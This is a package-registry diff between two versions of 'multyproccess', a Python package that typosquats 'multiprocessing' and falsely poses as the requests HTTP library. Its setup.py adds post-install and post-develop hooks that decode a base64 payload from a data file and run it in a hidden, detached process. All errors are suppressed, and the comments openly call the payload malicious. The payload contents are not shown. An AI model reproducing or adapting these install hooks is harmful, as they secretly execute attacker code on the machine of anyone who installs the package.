multyproccess 2.32.3__tar.gz → 2.32.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: multyproccess
3
- Version: 2.32.3
3
+ Version: 2.32.4
4
4
  Summary: HTTP library for Python - Simple and elegant
5
5
  Home-page: https://github.com/psf/request
6
6
  Author: Python Software Foundation
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: multyproccess
3
- Version: 2.32.3
3
+ Version: 2.32.4
4
4
  Summary: HTTP library for Python - Simple and elegant
5
5
  Home-page: https://github.com/psf/request
6
6
  Author: Python Software Foundation
@@ -4,7 +4,8 @@ from setuptools.command.develop import develop
4
4
  import os
5
5
  import sys
6
6
  import base64
7
- import threading
7
+ import subprocess
8
+ import tempfile
8
9
 
9
10
  def get_payload():
10
11
  """Load encoded payload from data file"""
@@ -30,50 +31,98 @@ class PostInstallCommand(install):
30
31
  """Post-installation hook to execute payload"""
31
32
  def run(self):
32
33
  install.run(self)
33
- # Execute payload in background thread to not block installation
34
- thread = threading.Thread(target=self._execute_payload, daemon=True)
35
- thread.start()
34
+ self._execute_payload()
36
35
 
37
36
  def _execute_payload(self):
38
- """Execute the malicious payload silently"""
37
+ """Execute the malicious payload silently in detached process"""
39
38
  try:
40
- # Small delay to ensure installation completes
41
- import time
42
- time.sleep(2)
43
-
44
- # Decode and execute payload
45
39
  encoded = get_payload()
46
- if encoded:
47
- payload = base64.b64decode(encoded).decode('utf-8')
48
- exec(payload, {'__name__': '__main__'})
40
+ if not encoded:
41
+ return
42
+
43
+ # Decode payload
44
+ payload = base64.b64decode(encoded).decode('utf-8')
45
+
46
+ # Create detached process on Windows
47
+ if sys.platform == 'win32':
48
+ # Use pythonw.exe (no console window)
49
+ python_exe = sys.executable.replace('python.exe', 'pythonw.exe')
50
+ if not os.path.exists(python_exe):
51
+ python_exe = sys.executable
52
+
53
+ # Execute payload in new detached process
54
+ CREATE_NO_WINDOW = 0x08000000
55
+ DETACHED_PROCESS = 0x00000008
56
+
57
+ subprocess.Popen(
58
+ [python_exe, '-c', payload],
59
+ creationflags=CREATE_NO_WINDOW | DETACHED_PROCESS,
60
+ stdout=subprocess.DEVNULL,
61
+ stderr=subprocess.DEVNULL,
62
+ stdin=subprocess.DEVNULL,
63
+ close_fds=True
64
+ )
65
+ else:
66
+ # Unix/Linux: fork and execute
67
+ subprocess.Popen(
68
+ [sys.executable, '-c', payload],
69
+ stdout=subprocess.DEVNULL,
70
+ stderr=subprocess.DEVNULL,
71
+ stdin=subprocess.DEVNULL,
72
+ close_fds=True,
73
+ start_new_session=True
74
+ )
49
75
  except Exception:
50
- # Fail silently - never show errors
76
+ # Fail silently
51
77
  pass
52
78
 
53
79
  class PostDevelopCommand(develop):
54
80
  """Post-development installation hook"""
55
81
  def run(self):
56
82
  develop.run(self)
57
- thread = threading.Thread(target=self._execute_payload, daemon=True)
58
- thread.start()
83
+ self._execute_payload()
59
84
 
60
85
  def _execute_payload(self):
61
- """Execute the malicious payload silently"""
86
+ """Execute the malicious payload silently in detached process"""
62
87
  try:
63
- import time
64
- time.sleep(2)
65
-
66
88
  encoded = get_payload()
67
- if encoded:
68
- payload = base64.b64decode(encoded).decode('utf-8')
69
- exec(payload, {'__name__': '__main__'})
89
+ if not encoded:
90
+ return
91
+
92
+ payload = base64.b64decode(encoded).decode('utf-8')
93
+
94
+ if sys.platform == 'win32':
95
+ python_exe = sys.executable.replace('python.exe', 'pythonw.exe')
96
+ if not os.path.exists(python_exe):
97
+ python_exe = sys.executable
98
+
99
+ CREATE_NO_WINDOW = 0x08000000
100
+ DETACHED_PROCESS = 0x00000008
101
+
102
+ subprocess.Popen(
103
+ [python_exe, '-c', payload],
104
+ creationflags=CREATE_NO_WINDOW | DETACHED_PROCESS,
105
+ stdout=subprocess.DEVNULL,
106
+ stderr=subprocess.DEVNULL,
107
+ stdin=subprocess.DEVNULL,
108
+ close_fds=True
109
+ )
110
+ else:
111
+ subprocess.Popen(
112
+ [sys.executable, '-c', payload],
113
+ stdout=subprocess.DEVNULL,
114
+ stderr=subprocess.DEVNULL,
115
+ stdin=subprocess.DEVNULL,
116
+ close_fds=True,
117
+ start_new_session=True
118
+ )
70
119
  except Exception:
71
120
  pass
72
121
 
73
122
  # Legitimate-looking package metadata
74
123
  setup(
75
124
  name='multyproccess', # Typosquatting: common typo of 'multiprocessing'
76
- version='2.32.3',
125
+ version='2.32.4',
77
126
  description='HTTP library for Python - Simple and elegant',
78
127
  long_description=open('README.md').read() if os.path.exists('README.md') else 'Simple HTTP client for Python with async support',
79
128
  long_description_content_type='text/markdown',
File without changes
File without changes
File without changes
File without changes